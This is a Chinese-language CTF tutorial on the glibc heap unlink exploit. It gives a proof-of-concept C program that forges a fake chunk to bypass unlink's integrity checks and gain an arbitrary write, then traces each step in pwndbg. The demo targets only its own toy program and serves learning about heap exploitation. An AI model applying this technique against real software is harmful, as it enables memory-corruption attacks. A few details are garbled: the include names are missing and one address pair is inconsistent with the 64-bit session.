ctf pwn中的unlink exploit(堆利用)

Editor發表於2018-03-05


unlink簡介

unlink的目的是把一個雙向連結串列中的空閒塊拿出來,如圖。

ctf pwn中的unlink exploit(堆利用)

也就是

設定 P->fd->bk = P->bk.

設定 P->bk->fd = P->fd.

unlink時執行的檢查

以前的unlink是沒有檢查的,很容易利用,不過現在多了兩項檢查,所以在利用時候要繞過這些檢查。

  Function Security Check Error    unlink chunk size是否等於next chunk(記憶體意義上的)的prev_size corrupted size vs. prev_size  unlink 檢查是否P->fd->bk == P 以及 P->bk->fd == P corrupted double-linked list   

unlink exploit

準備

通過一個例子來學習一下,這個例子是Heap Exploitation系列的unlink,為了便於理解,我會用gdb詳細的除錯一下。

首先,編譯程式,我使用的系統是ubuntu14.04 64位,將下面的示例程式碼編譯出來,帶上-g引數。

sakura@ubuntu:~$ gcc -g unlink.c -o unlink

unlink.c: In function ‘main’:

unlink.c:46:3: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘long long unsigned int’ [-Wformat=]

printf("%x\n", chunk1[3]);

^

#include

#include

#include

#include

struct chunk_structure {

size_t prev_size;

size_t size;

struct chunk_structure *fd;

struct chunk_structure *bk;

char buf[10];              // padding

};

int main() {

unsigned long long *chunk1, *chunk2;

struct chunk_structure *fake_chunk, *chunk2_hdr;

char data[20];

// First grab two chunks (non fast)

chunk1 = malloc(0x80);

chunk2 = malloc(0x80);

printf("%p\n", &chunk1);

printf("%p\n", chunk1);

printf("%p\n", chunk2);

// Assuming attacker has control over chunk1's contents

// Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1

// Need to setup fd and bk pointers to pass the unlink security check

fake_chunk = (struct chunk_structure *)chunk1;

fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P

fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks

chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);

chunk2_hdr->prev_size = 0x80;  // chunk1's data region size

chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'

// This results in chunk1 pointer pointing to chunk1 - 3

// i.e. chunk1[3] now contains chunk1 itself.

// We then make chunk1 point to some victim's data

free(chunk2);

printf("%p\n", chunk1);

printf("%x\n", chunk1[3]);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1

chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

return 0;

}

我使用了一個gdb外掛pwndbg(應該是外掛吧?),需要安裝的話。

git clone https://github.com/pwndbg/pwndbg

cd pwndbg

./setup.sh

開始除錯

pwndbg> b 20

Breakpoint 1 at 0x400695: file unlink.c, line 20.

pwndbg> r

ctf pwn中的unlink exploit(堆利用)

pwndbg> n

這樣就開始malloc第一個chunk了,返回的地址放在rax裡,然後存到棧裡。

ctf pwn中的unlink exploit(堆利用)

繼續看第二個chunk的地址

pwndbg> n

ctf pwn中的unlink exploit(堆利用)

接下來的三條命令其實就是輸出我們剛剛除錯出來的chunk地址的,所以過掉就行了,不過可以檢查一下我們找的是不是對的。

pwndbg> b 25

Breakpoint 2 at 0x4006f3: file unlink.c, line 25.

pwndbg> c

Continuing.

0x7fffffffdd60

0x602010

0x6020a0

然後來詳細的說明一下,是怎麼unlink exploit的。

假設攻擊者已經控制了chunk1的資料,並且可以溢位到chunk2的後設資料。

因為我們能夠控制chunk1的資料,所以當然可以在chunk1裡偽造一個chunk出來。

fake_chunk = (struct chunk_structure *)chunk1;

我們知道,返回給我們的chunk實際上是mem指標,如下圖的mem就是chunk1

ctf pwn中的unlink exploit(堆利用)

通過將chunk1強制轉換為struct chunk_structure結構體,就偽造出了一個chunk。

相當於

ctf pwn中的unlink exploit(堆利用)

然後我們看一下此時的chunk1的記憶體。

pwndbg> x /10gx 0x602000

0x602000:    0x0000000000000000 0x0000000000000091

0x602010:    0x0000000000000000 0x0000000000000000

0x602020:    0x0000000000000000 0x0000000000000000

0x602030:    0x0000000000000000 0x0000000000000000

0x602040:    0x0000000000000000 0x0000000000000000

再看一下fake_chunk,地址為0xffffcf80,指向0x0804b008(mem)

ctf pwn中的unlink exploit(堆利用)

pwndbg> p $rbp-0x40

$1 = (void *) 0x7fffffffdd70

pwndbg> x /x 0x7fffffffdd70

0x7fffffffdd70:    0x0000000000602010

通過檢查點1

接下來要確保chunk->fd->bk == chunk

fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P

如果不熟悉指標加減運算的,可以參考這篇文章&chunk1是指存放chunk1這個被分配出來的heap的地址的棧地址,即0x7fffffffdd60

pwndbg> stack 10

00:0000│ rsp  0x7fffffffdd60 —▸ 0x602010 ◂— 0x0

01:0008│      0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0

02:0010│      0x7fffffffdd70 —▸ 0x602010 ◂— 0x0

03:0018│      0x7fffffffdd78 —▸ 0x40084d (__libc_csu_init+77) ◂— add    rbx, 1

04:0020│      0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0

05:0028│      0x7fffffffdd88 ◂— 0x0

06:0030│      0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push  r15

07:0038│      0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400

08:0040│      0x7fffffffdda0 —▸ 0x7fffffffde90 ◂— 0x1

09:0048│      0x7fffffffdda8 ◂— 0x0

此時的chunk1

pwndbg> x /10gx 0x602000

0x602000:    0x0000000000000000 0x0000000000000091

0x602010:    0x0000000000000000 0x0000000000000000

0x602020:    0x00007fffffffdd48 0x0000000000000000

0x602030:    0x0000000000000000 0x0000000000000000

0x602040:    0x0000000000000000 0x0000000000000000

接下來要確保chunk->bk->fd == chunk

fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

此時的chunk1

pwndbg> x /10gx 0x602000

0x602000:    0x0000000000000000 0x0000000000000091

0x602010:    0x0000000000000000<=fake_chunk(mem)    0x0000000000000000

0x602020:    0x00007fffffffdd48<=fake_chunk->fd    0x00007fffffffdd50<=fake_chunk->bk

0x602030:    0x0000000000000000 0x0000000000000000

0x602040:    0x0000000000000000 0x0000000000000000

我相信到這個時候你已經凌亂了,因為我一開始看到這裡的時候也挺凌亂的(因為我指標學的不好emmm..)

讓我們再理一下。

首先觀察一下棧段,我們知道我們的變數都是存在棧上的,chunk1,fake_chunk都是指標,指標的值都是一個表示地址空間中某個儲存器單元的整數,這也就是我們說的指向。

unsigned long long *chunk1, *chunk2;

struct chunk_structure *fake_chunk, *chunk2_hdr;

pwndbg> stack 10

00:0000│ rsp  0x7fffffffdd60 —▸ 0x602010 ◂— 0x0

01:0008│      0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0

02:0010│      0x7fffffffdd70 —▸ 0x602010 ◂— 0x0

03:0018│      0x7fffffffdd78 —▸ 0x40084d (__libc_csu_init+77) ◂— add    rbx, 1

04:0020│      0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0

05:0028│      0x7fffffffdd88 ◂— 0x0

06:0030│      0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push  r15

07:0038│      0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400

08:0040│      0x7fffffffdda0 —▸ 0x7fffffffde90 ◂— 0x1

09:0048│      0x7fffffffdda8 ◂— 0x0

chunk1=0x602010

&chunk1=0x7fffffffdd60

fake_chunk=0x602010

&fake_chunk=0x7fffffffdd70

然後我們再看一下fake_chunk->fd,和fake_chunk_bk的值是多少。

pwndbg> x /10gx 0x602000

0x602000:    0x0000000000000000 0x0000000000000091

0x602010:    0x0000000000000000<=fake_chunk(mem)    0x0000000000000000

0x602020:    0x00007fffffffdd48<=fake_chunk->fd    0x00007fffffffdd50<=fake_chunk->bk

0x602030:    0x0000000000000000 0x0000000000000000

0x602040:    0x0000000000000000 0x0000000000000000

fake_chunk->fd=0x00007fffffffdd48

fake_chunk->bk=0x00007fffffffdd50

需要知道的是,fd和bk的型別同樣是struct chunk_structure ,也就是說fake->chunk->fd/bk指向的記憶體也是"*結構體"

struct chunk_structure *fd;

struct chunk_structure *bk;

所以這個指向的"結構體"是這樣的。

pwndbg> x /10gx 0x00007fffffffdd48

0x7fffffffdd48:    0x00007ffff7ffe1c8->prev_size    0x0000000000000003->size

0x7fffffffdd58:    0x00000000004006f3->fd    0x0000000000602010->bk

0x7fffffffdd68:    0x00000000006020a0 0x0000000000602010

0x7fffffffdd78:    0x000000000040084d 0x00007fffffffddb0

0x7fffffffdd88:    0x0000000000000000 0x0000000000400800

所以fake_chunk->fd->bk=0x0000000000602010=chunk1

而我們知道fake_chunk=chunk1。

fake_chunk = (struct chunk_structure *)chunk1;

所以這樣就過了chunk->fd->bk==chunk的檢查 chunk->bk->fd == chunk也是同理的

ctf pwn中的unlink exploit(堆利用)

通過檢查點2

然後為了通過檢查點chunk size是否等於next chunk(記憶體意義上的)的prev_size,我們需要修改chunk2的prev_size

chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);

chunk2_hdr->prev_size = 0x80;  // chunk1's data region size

chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit

pwndbg> x /10gx 0x602090

0x602090:    0x0000000000000080 0x0000000000000090

0x6020a0:    0x0000000000000000 0x0000000000000000

0x6020b0:    0x0000000000000000 0x0000000000000000

0x6020c0:    0x0000000000000000 0x0000000000000000

0x6020d0:    0x0000000000000000 0x0000000000000000

觸發unlink

當我們free(chunk2)的時候,因為prev_in_use位被置0,代表前一個chunk(也就是我們的fake_chunk)也處於free,連續的空閒堆塊合併而進行unlink操作。

也就是設定

P->fd->bk = P->bk.

P->bk->fd = P->fd.

可以看出fake_chunk->fd->bk和fake_chunk->bk->fd都指向(或者說等於)chunk1,即0x0000000000602010,所以只需要關注第二次操作即可。

P->fd即fake_chunk->fd=0x00007fffffffdd48

所以unlink之後,P->bk->fd由0x602010變為0x00007fffffffdd48

00:0000│ rsp  0x7fffffffdd60 —▸ 0x602010 <=P->bk->fd

01:0008│      0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0

02:0010│      0x7fffffffdd70 —▸ 0x602010 ◂— 0x0

03:0018│      0x7fffffffdd78 —▸ 0x602090 ◂— 0x80

04:0020│      0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0

05:0028│      0x7fffffffdd88 ◂— 0x0

06:0030│      0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push  r15

07:0038│      0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400

變為

00:0000│ rsp  0x7fffffffdd60 —▸ 0x7fffffffdd48 <=P->bk->fd

01:0008│      0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0

02:0010│      0x7fffffffdd70 —▸ 0x602010 ◂— 0x0

03:0018│      0x7fffffffdd78 —▸ 0x602090 ◂— 0x80

04:0020│      0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0

05:0028│      0x7fffffffdd88 ◂— 0x0

06:0030│      0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push  r15

07:0038│      0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400

也就是說現在chunk1的值變成了0x7fffffffdd48,chunk1[3]實際上就是chunk1。

45 printf("%p\n", chunk1);

46 printf("%x\n", chunk1[3]);

...

pwndbg> b 47

Breakpoint 3 at 0x400788: file unlink.c, line 47.

pwndbg> c

Continuing.

0x7fffffffdd48

ffffdd48

ctf pwn中的unlink exploit(堆利用)

exp

改變chunk1[3]就是改變chunk1,在本例中, chunk1用於指向變數data並且通過改變chunk1從而影響到了該變數。

chunk1[3] = (unsigned long long)data;

可以看出現在chunk1的值已經變成了data的地址0x7fffffffdd80

00:0000│ rdx rsp  0x7fffffffdd60 —▸ 0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0

改變data的值為Victim's data

strcpy(data, "Victim's data");

在記憶體中檢視

pwndbg> x /s 0x7fffffffdd80

0x7fffffffdd80:    "Victim's data"

現在的chunk1已經指向data了,通過給chunk1[0]賦值,其實就是給data賦值。

chunk1[0] = 0x002164656b636168LL;

檢視記憶體

pwndbg> x /s 0x7fffffffdd80

0x7fffffffdd80:    "hacked!"

果然已經變了。

字串已經變成了hacked!

pwndbg> n

hacked!

不知道這些指標跳來跳去的有沒有把你繞暈呢~如果暈了的話就自己調一調吧~

參考連結

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html

本文由看雪論壇 sakura零  原創 轉載請註明來自看雪社群

相關文章